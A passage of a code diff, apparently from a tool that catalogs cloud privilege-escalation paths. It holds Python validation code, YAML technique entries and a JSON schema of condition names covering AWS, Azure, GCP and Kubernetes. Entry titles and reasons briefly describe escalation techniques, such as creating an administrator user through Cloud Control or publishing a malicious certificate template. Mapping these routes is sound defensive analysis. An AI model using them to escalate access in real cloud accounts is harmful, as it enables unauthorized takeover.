permissions grow (policy/role edit or assignment); target is self or an entity.", + 'role_activation': "Activates/assigns a privileged role or permission set (PIM, Identity Center, Entra directory role).", + 'scope_control': "Gains IAM control of a scope (set IAM policy / role assignments) -> every principal of the scope.", + 'application_admin': "Becomes administrator of a managed service's own application plane (not an IAM principal).", + 'bounded_authority': "Evidence-bound effect on the exact non-principal target, defined only by the rule and verified facts; implies no IAM scope control, application administration, principal access, or further permissions.", + 'blocker_removal': "Lifts an enforcement control (target.removes_blockers) that gates other techniques; reaches no principal.", } ENTITY_OUTCOMES = ("permission_grant", "role_activation", "scope_control", "application_admin", "bounded_authority", "blocker_removal") GROUP_TARGET_KINDS = {"aws_group", "gcp_group", "entra_group", "k8s_group"} @@ -1448,31 +2137,47 @@ def as_str_list(value): PIM_GROUP_ACCESS = ("member", "owner") # Selectors valid only on these target kinds (Azure extensions). AZURE_SELECTOR_KINDS = { - "azure_containerapp_create_uami_path": ("azure_managed_identity",), - "azure_containerapp_exec_identity": ("azure_managed_identity",), - "azure_containerapp_job_assignable_uami": ("azure_managed_identity",), - "azure_containerapp_assignable_uami": ("azure_managed_identity",), - "azure_confidential_ledger_admin_path": ("azure_dataplane_admin",), - "azure_batch_shared_key_pool_identity": ("azure_managed_identity",), - "azure_batch_pool_starttask_identity": ("azure_managed_identity",), - "azure_batch_pool_assignable_uami": ("azure_managed_identity",), - "azure_aci_assignable_uami": ("azure_managed_identity",), - "azure_aci_exec_running_identity": ("azure_managed_identity",), - "azure_aci_existing_write_identity": ("azure_managed_identity",), - "azure_apim_restorable_backup": ("azure_managed_identity",), - "azure_consumer_of_pivot": ("azure_managed_identity",), - "azure_assignable_via_identity_holding": ("azure_managed_identity",), - "azure_users_assigned_to_pivot": ("azure_user",), - "attached_to_vm_joined_to_entra_domain_services": ("azure_managed_identity",), - "azure_assignment_condition_uses_principal_attribute": ("azure_scope_owner", "azure_dataplane_admin"), - "fabric_workspace_identity": ("azure_service_principal",), - "entra_pim_group_eligible_for_source": ("entra_group",), - "entra_resource_in_catalog": ("entra_group", "azure_service_principal", "entra_role"), - "entra_access_package_auto_assignment_open_to_guest": ("entra_group", "azure_service_principal", "entra_role"), - "intune_managed_device_user": ("azure_user",), + 'azure_containerapp_create_uami_path': ("azure_managed_identity",), + 'azure_containerapp_exec_identity': ("azure_managed_identity",), + 'azure_containerapp_job_assignable_uami': ("azure_managed_identity",), + 'azure_containerapp_assignable_uami': ("azure_managed_identity",), + 'azure_confidential_ledger_admin_path': ("azure_dataplane_admin",), + 'azure_batch_shared_key_pool_identity': ("azure_managed_identity",), + 'azure_batch_pool_starttask_identity': ("azure_managed_identity",), + 'azure_batch_pool_assignable_uami': ("azure_managed_identity",), + 'azure_aci_assignable_uami': ("azure_managed_identity",), + 'azure_aci_exec_running_identity': ("azure_managed_identity",), + 'azure_aci_existing_write_identity': ("azure_managed_identity",), + 'azure_apim_restorable_backup': ("azure_managed_identity",), + 'azure_consumer_of_pivot': ("azure_managed_identity",), + 'azure_assignable_via_identity_holding': ("azure_managed_identity",), + 'azure_users_assigned_to_pivot': ("azure_user",), + 'attached_to_vm_joined_to_entra_domain_services': ("azure_managed_identity",), + 'azure_assignment_condition_uses_principal_attribute': ("azure_scope_owner", "azure_dataplane_admin"), + 'fabric_workspace_identity': ("azure_service_principal",), + 'entra_pim_group_eligible_for_source': ("entra_group",), + 'entra_resource_in_catalog': ("entra_group", "azure_service_principal", "entra_role"), + 'entra_access_package_auto_assignment_open_to_guest': ("entra_group", "azure_service_principal", "entra_role"), + 'intune_managed_device_user': ("azure_user",), + 'azure_sql_server_admin_password_reset': ("azure_dataplane_admin",), + 'azure_sql_server_entra_admin_write': ("azure_dataplane_admin",), + 'azure_sqlmi_admin_password_reset': ("azure_dataplane_admin",), + 'azure_sqlmi_entra_admin_write': ("azure_dataplane_admin",), + 'azure_mysql_flexible_admin_password_reset': ("azure_dataplane_admin",), + 'azure_mysql_flexible_entra_admin_write': ("azure_dataplane_admin",), + 'azure_postgresql_flexible_admin_password_reset': ("azure_dataplane_admin",), + 'azure_postgresql_flexible_entra_admin_write': ("azure_dataplane_admin",), + 'azure_containerapp_write_existing_identity': ("azure_managed_identity",), + 'azure_containerapp_job_execution_identity': ("azure_managed_identity",), + 'azure_mongo_cluster_admin_password': ("azure_dataplane_admin",), + 'azure_mongo_cluster_self_root': ("azure_dataplane_admin",), + 'azure_cosmos_mongo_user_write': ("azure_dataplane_admin",), + 'azure_cosmos_sql_role_grant': ("azure_dataplane_admin",), + 'azure_databricks_workspace_admin': ("azure_dataplane_admin",), + 'azure_cosmos_other_api_role_grant': ("azure_dataplane_admin",), } PLACEHOLDERS = { - "target.resource", "target.policy_resource", + "target.resource", "target.policy_resource", "target.osconfig_guest_policy", "target.osconfig_zone", "target.osconfig_assignment", "target.osconfig_unknown_assignment", "target.osconfig_patch_deployment", "target.osconfig_unknown_patch_deployment", "target.osconfig_orchestrator_parent", "target.osconfig_orchestrator", "target.osconfig_unknown_orchestrator", "target.arn", "target.email", "target.id", "target.scope", "target.quota_project", "target.namespace", "target.name", "target.account", "target.region", "target.role_arn", "target.location_arn", "target.grant_arn", "target.project", "target.node", "target.client_id", "target.application_id", @@ -1480,7 +2185,7 @@ def as_str_list(value): "target.saml_provider_arn", "target.trust_anchor_arn", "target.oidc_provider_arn", "target.portfolio_arn", "target.rolesanywhere_profile_arn", "target.codebuild_sandbox_arn", "target.codebuild_running_sandbox_arn", "target.redshift_dbuser_arn", "target.amplifybackend_token_arn", "target.amplifybackend_backend_arn", - "target.host_resource", "target.apim_api_resource", "target.apim_api_policy_resource", + "target.host_resource", "target.workstation_config", "target.apim_api_resource", "target.apim_api_policy_resource", "target.apim_operation_policy_resource", "target.apim_product_policy_resource", "target.host_resource.content_storage", "target.composer_dag_managed_folder", "target.dataproc_init_managed_folder", "target.dataproc_init_object", "target.cloudbuild_source_object", "target.host_resource.workspace", "target.catalog", "target.domain_registration", "target.image_family_project", @@ -1984,7 +2689,7 @@ def validate_entry(entry, *, expected_provider=None, hacktricks_root=None): if "service_plane" in selector and kind != "aws_service_plane_admin": errors.append(f"{where}: selector service_plane is only valid with target kind aws_service_plane_admin") aws_authority_selectors = ( - "aws_challenge_fact", "aws_scheduler_iam_self_grant", "aws_s3_policy_self_grant", "aws_sqs_policy_self_grant", "aws_sns_policy_self_grant", "aws_dynamodb_policy_self_grant", "aws_s3_access_grants_self_grant", + "aws_challenge_fact", "aws_scheduler_iam_self_grant", "aws_scheduler_iam_self_grant_update", "aws_s3_policy_self_grant", "aws_sqs_policy_self_grant", "aws_sns_policy_self_grant", "aws_dynamodb_policy_self_grant", "aws_s3_access_grants_self_grant", "aws_secretsmanager_policy_self_grant", "aws_efs_policy_self_grant", "aws_cases_tag_self_grant", "aws_sitewise_portal_self_grant") selected_authority = [key for key in aws_authority_selectors if selector.get(key)] @@ -2012,13 +2717,12 @@ def validate_entry(entry, *, expected_provider=None, hacktricks_root=None): if kind == "azure_storage_local_user" and (selector.get("azure_storage_local_credential") not in ("reset_password", "write_credential", "create_credential") or entry.get("confidence") != "conditional"): errors.append(f"{where}: storage local users need a supported credential selector and conditional confidence") - if kind == "azure_verified_authority" and not selector.get("azure_challenge_fact"): + if kind == "azure_verified_authority" and not (selector.get("azure_challenge_fact") or selector.get("azure_static_site_deployment_token")): errors.append(f"{where}: verified authority needs an exact evidence selector") if kind == "azure_external_principal" and not selector.get("azure_external_principal_evidence"): errors.append(f"{where}: azure_external_principal needs typed evidence") if selector.get("azure_external_principal_evidence"): - from peaso.privesc.effective_permissions.azure_external_principal import CONTRACT - contract = CONTRACT.get(entry.get("id")) + contract = AZURE_EXTERNAL_PRINCIPAL_CONTRACT.get(entry.get("id")) expected_outcome = "credentials" if contract and contract[2] == "credential" else "identity" if (kind != "azure_external_principal" or set(selector) != {"azure_external_principal_evidence", "azure_external_plane"} @@ -2026,7 +2730,7 @@ def validate_entry(entry, *, expected_provider=None, hacktricks_root=None): or (entry.get("target") or {}).get("outcome") != expected_outcome or entry.get("confidence") != "conditional"): errors.append(f"{where}: Azure external-principal evidence needs a registered action/plane, matching target outcome and conditional confidence") - if kind == "gcp_verified_authority" and not (selector.get("gcp_challenge_fact") or selector.get("gcp_resource_self_grant") + if kind == "gcp_verified_authority" and not (selector.get("gcp_challenge_fact") or selector.get("gcp_resource_self_grant") or selector.get("gcp_privatecatalog_dm_iam_path") or selector.get("gcp_kcc_project_policy_grant") or selector.get("k8s_kcc_project_policy_grant") or selector.get("gcp_bounded_access_gain") or selector.get("gcp_agentidentity_retrieve_path") or selector.get("gcp_agentidentity_update_path") or selector.get("gcp_hmac_storage_identity") or selector.get("gcp_bounded_service_execution") or selector.get("gcp_bounded_workspace_oauth") or selector.get("gcp_agentregistry_skill_evidence")): errors.append(f"{where}: gcp_verified_authority needs an exact evidence selector") @@ -2049,8 +2753,11 @@ def validate_entry(entry, *, expected_provider=None, hacktricks_root=None): "gcp-dataform-workflow-invocation-actas": "dataform_workflow", "gcp-apikeys-authorization-key-bound-sa": "apikeys_authorization_key", } + expected_selectors = ({"gcp_bounded_service_execution", "gcp_actas_granted_on_target"} + if entry.get("id") == "gcp-dataform-workflow-invocation-actas" + else {"gcp_bounded_service_execution", "gcp_actas_granted_on_target", "gcp_sa_in_scope_of_permission"}) if (kind != "gcp_verified_authority" - or set(selector) != {"gcp_bounded_service_execution", "gcp_actas_granted_on_target", "gcp_sa_in_scope_of_permission"} + or set(selector) != expected_selectors or selector["gcp_bounded_service_execution"] != service_by_entry.get(entry.get("id")) or (entry.get("target") or {}).get("outcome") != "bounded_authority"): errors.append(f"{where}: bounded service authority needs its exact mechanism and project-local actAs selector") @@ -2110,10 +2817,9 @@ def validate_entry(entry, *, expected_provider=None, hacktricks_root=None): if selector.get("k8s_helm_values_rbac") and (kind != "k8s_verified_authority" or selector.get("k8s_challenge_fact")): errors.append(f"{where}: k8s_helm_values_rbac needs an exclusive k8s_verified_authority target") if selector.get("k8s_verified_pivot"): - from peaso.privesc.effective_permissions.k8s_verified_pivots import KINDS if (selector["k8s_verified_pivot"] != entry.get("id") or set(selector) != {"k8s_verified_pivot"} - or kind != KINDS.get(entry.get("id")) + or kind != K8S_VERIFIED_PIVOT_KINDS.get(entry.get("id")) or (entry.get("target") or {}).get("outcome") != ("permission_grant" if kind == "k8s_verified_authority" else "credentials") or (kind == "k8s_verified_authority" and not (entry.get("target") or {}).get("grants")) @@ -2171,6 +2877,8 @@ def validate_entry(entry, *, expected_provider=None, hacktricks_root=None): if kind in ENTITY_KINDS and isinstance(requires, dict): used = set().union(*(_placeholders(v) for r in _requirements(requires) for k, v in r.items() if k != "notes")) allowed = ENTITY_TARGET_PLACEHOLDERS.get(kind, {"target.scope"}) + if selector.get("k8s_kcc_project_policy_grant"): + allowed = allowed | {"target.namespace", "target.name"} bad = sorted(p for p in used if p.startswith("target.") and p not in allowed) if bad: errors.append(f"{where}: placeholders {bad} cannot resolve on entity target kind {kind} " diff --git a/src/privilege-escalation-paths/aws/_excluded_config_existing_document_20261022.yaml b/src/privilege-escalation-paths/aws/_excluded_config_existing_document_20261022.yaml index 1e096aeba5..1e4e1066ff 100644 --- a/src/privilege-escalation-paths/aws/_excluded_config_existing_document_20261022.yaml +++ b/src/privilege-escalation-paths/aws/_excluded_config_existing_document_20261022.yaml @@ -1,5 +1,5 @@ # Existing Automation documents can avoid CreateDocument, but need an exact runnable step. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#config-existing-automation-document-remediation - source_revision: f4d5491c17 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#also-relevant-configputremediationconfigurations--iampassrole-classic-passrole + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 technique: Attach an existing useful Automation document to automatic Config remediation reason: An existing Automation document could remove the need for ssm:CreateDocument, but PutRemediationConfigurations and PassRole alone do not prove that the document accepts AutomationAssumeRole, executes an action the passed role permits, and produces a usable gain. The route also needs a non-service-linked rule, a noncompliant resource, automatic mode and the remediation service-linked role. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths/aws/_excluded_org_scope_overclaim_20261016.yaml b/src/privilege-escalation-paths/aws/_excluded_org_scope_overclaim_20261016.yaml index 8f3059fd52..7a06ee4178 100644 --- a/src/privilege-escalation-paths/aws/_excluded_org_scope_overclaim_20261016.yaml +++ b/src/privilege-escalation-paths/aws/_excluded_org_scope_overclaim_20261016.yaml @@ -4,7 +4,7 @@ reason: Changing the root email and resetting the password does not bypass an enrolled root MFA device. The entry lacks exact evidence that the target account has no MFA barrier or a usable recovery path, so root/account-admin access is not established. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--hand-a-services-org-wide-control-to-an-account-you-own +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--delegate-a-service-to-a-member-account technique: aws-organizations-registerdelegatedadministrator reason: RegisterDelegatedAdministrator alone grants only service-specific delegation to a separate controlled member-account identity. The catalog does not bind that identity, service-specific administrative actions, or diff --git a/src/privilege-escalation-paths/aws/_excluded_organizations_effective_gain_20261022.yaml b/src/privilege-escalation-paths/aws/_excluded_organizations_effective_gain_20261022.yaml index 694c2ba3dc..5c54f144f6 100644 --- a/src/privilege-escalation-paths/aws/_excluded_organizations_effective_gain_20261022.yaml +++ b/src/privilege-escalation-paths/aws/_excluded_organizations_effective_gain_20261022.yaml @@ -1,9 +1,9 @@ # Organizations policy changes require an exact source-to-member effective-authority join. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations-scp-guardrail-change - source_revision: b13a72b45f +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 technique: Remove an SCP guardrail for a controlled member principal reason: DetachPolicy, UpdatePolicy, DisablePolicyType or MoveAccount can alter member-account ceilings, but the management caller does not gain its own permission from an SCP change. A definite edge requires a controlled member principal, exact account and inherited SCP path, prior blocked action, identity allow, removal of the effective block and no remaining deny or boundary. Current inventory does not join before-and-after effective permission across those principals. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations-putresourcepolicy-delegation - source_revision: b13a72b45f +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 technique: Delegate Organizations policy actions to a controlled member principal reason: PutResourcePolicy can permit a member account to manage supported Organizations policies, but a usable gain requires an exact controlled member principal, accepted delegation policy and resource, matching identity permission and absence of denies. The policy writer's management-account permission is not itself a new member-principal capability. Current inventory does not join the two principals or prove a specific before-and-after authorized action. diff --git a/src/privilege-escalation-paths/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml index 404023d3b1..ec926f1c87 100644 --- a/src/privilege-escalation-paths/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml @@ -55,15 +55,15 @@ reason: CreateUser and CreateAccountAssignment do not prove source control of a usable new-user credential or exact permission-set assignment scope. prior_id: aws-identitystore-createuser-createaccountassignment -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--publish-a-malicious-certificate-template-esc1--esc9 - source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--change-ad-certificate-enrollment-rules + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 technique: Publish a malicious certificate template through PCA Connector for AD and enroll as a domain admin reason: Template creation does not prove the source controls an enrollable AD identity or that certificate mapping authenticates as the exact directory admin. prior_id: aws-pca-connector-ad-createtemplate-esc1 -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--weaken-an-existing-legitimate-template-in-place - source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--change-an-existing-certificate-template + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 technique: Weaken an existing PCA Connector for AD certificate template in place reason: Template update does not prove the source controls an enrollable AD identity or that certificate mapping authenticates as the exact directory admin. diff --git a/src/privilege-escalation-paths/aws/cloudcontrol.yaml b/src/privilege-escalation-paths/aws/cloudcontrol.yaml index 223f1b6d7b..688636f7c5 100644 --- a/src/privilege-escalation-paths/aws/cloudcontrol.yaml +++ b/src/privilege-escalation-paths/aws/cloudcontrol.yaml @@ -12,8 +12,8 @@ provider: aws service: cloudcontrol title: Create an administrator user through Cloud Control API with a passed role - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource-or-updateresource--iampassrole - source_revision: 171e422299 + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource--iampassrole + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. requires: all_of: [] diff --git a/src/privilege-escalation-paths/aws/organizations.yaml b/src/privilege-escalation-paths/aws/organizations.yaml index 1be85e4f3f..0ad0ee8e6f 100644 --- a/src/privilege-escalation-paths/aws/organizations.yaml +++ b/src/privilege-escalation-paths/aws/organizations.yaml @@ -51,8 +51,8 @@ provider: aws service: organizations title: Create a member account to satisfy role trusts keyed on aws:PrincipalOrgID - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--spawn-an-account-you-fully-own-inside-the-victim-org - source_revision: 171e422299 + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--create-a-member-account-with-a-management-access-role + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 summary: A management-account principal can create a member account, assume its new management access role if authorized, and then try roles whose trust allows principals from the organization. requires: all_of: diff --git a/src/privilege-escalation-paths/privesc-technique.schema.json b/src/privilege-escalation-paths/privesc-technique.schema.json index d8d057e93d..99c669d956 100644 --- a/src/privilege-escalation-paths/privesc-technique.schema.json +++ b/src/privilege-escalation-paths/privesc-technique.schema.json @@ -179,7 +179,13 @@ "anyOf": [ { "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", "amplifybackend_create_token_backend_scope", "apprunner_existing_customer_account", "apprunner_existing_image_service_update", @@ -198,8 +204,10 @@ "athena_existing_notebook_url_role", "athena_existing_session_calculation_role", "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", "batch_existing_definition_submitjob_role", "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", "braket_createjob_device_authorized", "cloudcontrol_source_can_create_admin_user", "cloudformation_attached_role_changeset_executable", @@ -216,35 +224,61 @@ "codebuild_new_project_role_and_build", "codebuild_running_sandbox_command", "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", "codepipeline_existing_project_update_buildspec", "codepipeline_new_codecommit_project_route", "codepipeline_new_ecr_project_route", "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", "datapipeline_existing_customer_role_pair_and_runnable_ec2", "deadline_existing_queue_role_vend", "deadline_existing_worker_role_vend", "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", "ec2_instance_connect_same_running_role_host", "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", "ec2_userdata_restart_execution_reviewed", "ecs_container_instance_exists", "ecs_exec_live_task_role", "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_eventbridge_schedule_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", "ecs_task_definition_exists", "eks_cluster_exists", "eks_existing_self_access_entry_can_receive_cluster_admin", "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", "emr_cluster_session_runtime_role", "emr_containers_endpoint_route", "emr_containers_job_route", "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", "emr_serverless_job_route", "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_streaming_inline_code_update", "flink_existing_studio_role_session", "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", "gameliftstreams_controlled_application_role_session", "gameliftstreams_live_role_session_admin_shell", "glue_existing_dev_endpoint_ssh_access", @@ -253,20 +287,30 @@ "glue_existing_session_ready_for_statement", "glue_job_override_arguments_available", "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", "glue_new_session_with_statement", "grafana_api_key_workspace_eligible", + "grafana_existing_admin_service_account_token_ready", "grafana_saml_workspace_active", "grafana_service_account_workspace_eligible", "group_adds_policy_to_source", + "iam_new_role_cross_account_trust", + "iam_role_boundary_admin_gain", "iam_user_access_key_capacity", + "iam_user_boundary_admin_gain", "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", "lambda_enforced_zip_function_signing_bypass_and_invoke", "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", "lambda_existing_zip_function_direct_invoke_ready", "lambda_existing_zip_function_role_swap_ready", "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", "m2_existing_environment_new_application_deploy", "mfa_enrollment_credential_ready", "mfa_removal_password_ready", @@ -282,16 +326,29 @@ "rolesanywhere_new_anchor_profile_role_ready", "sagemaker_attach_new_notebook_lifecycle_config", "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", "sagemaker_job_execution_route_unverified", "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_studio_shared_space_lcc_route", + "sagemaker_training_inline_entrypoint_route", "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", "source_attached_admin_policy_version_exists", "source_attached_policy_version_capacity", "source_boundary_allows_account_admin", "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", "ssm_hybrid_sendcommand_role", "ssm_hybrid_startsession_role", "ssm_incident_response_plan_runs_new_automation_document", @@ -303,10 +360,13 @@ "ssm_shell_association_targets", "ssm_shell_document_on_online_instance", "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", + "synthetics_existing_canary_dry_run_code", "target_codecommit_git_permission", "target_console_login_without_mfa", "target_in_other_account", - "target_ssh_public_key_capacity" + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" ] }, { @@ -317,7 +377,13 @@ }, "id": { "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", "amplifybackend_create_token_backend_scope", "apprunner_existing_customer_account", "apprunner_existing_image_service_update", @@ -336,8 +402,10 @@ "athena_existing_notebook_url_role", "athena_existing_session_calculation_role", "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", "batch_existing_definition_submitjob_role", "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", "braket_createjob_device_authorized", "cloudcontrol_source_can_create_admin_user", "cloudformation_attached_role_changeset_executable", @@ -354,35 +422,61 @@ "codebuild_new_project_role_and_build", "codebuild_running_sandbox_command", "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", "codepipeline_existing_project_update_buildspec", "codepipeline_new_codecommit_project_route", "codepipeline_new_ecr_project_route", "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", "datapipeline_existing_customer_role_pair_and_runnable_ec2", "deadline_existing_queue_role_vend", "deadline_existing_worker_role_vend", "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", "ec2_instance_connect_same_running_role_host", "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", "ec2_userdata_restart_execution_reviewed", "ecs_container_instance_exists", "ecs_exec_live_task_role", "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_eventbridge_schedule_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", "ecs_task_definition_exists", "eks_cluster_exists", "eks_existing_self_access_entry_can_receive_cluster_admin", "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", "emr_cluster_session_runtime_role", "emr_containers_endpoint_route", "emr_containers_job_route", "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", "emr_serverless_job_route", "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_streaming_inline_code_update", "flink_existing_studio_role_session", "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", "gameliftstreams_controlled_application_role_session", "gameliftstreams_live_role_session_admin_shell", "glue_existing_dev_endpoint_ssh_access", @@ -391,20 +485,30 @@ "glue_existing_session_ready_for_statement", "glue_job_override_arguments_available", "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", "glue_new_session_with_statement", "grafana_api_key_workspace_eligible", + "grafana_existing_admin_service_account_token_ready", "grafana_saml_workspace_active", "grafana_service_account_workspace_eligible", "group_adds_policy_to_source", + "iam_new_role_cross_account_trust", + "iam_role_boundary_admin_gain", "iam_user_access_key_capacity", + "iam_user_boundary_admin_gain", "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", "lambda_enforced_zip_function_signing_bypass_and_invoke", "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", "lambda_existing_zip_function_direct_invoke_ready", "lambda_existing_zip_function_role_swap_ready", "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", "m2_existing_environment_new_application_deploy", "mfa_enrollment_credential_ready", "mfa_removal_password_ready", @@ -420,16 +524,29 @@ "rolesanywhere_new_anchor_profile_role_ready", "sagemaker_attach_new_notebook_lifecycle_config", "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", "sagemaker_job_execution_route_unverified", "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", 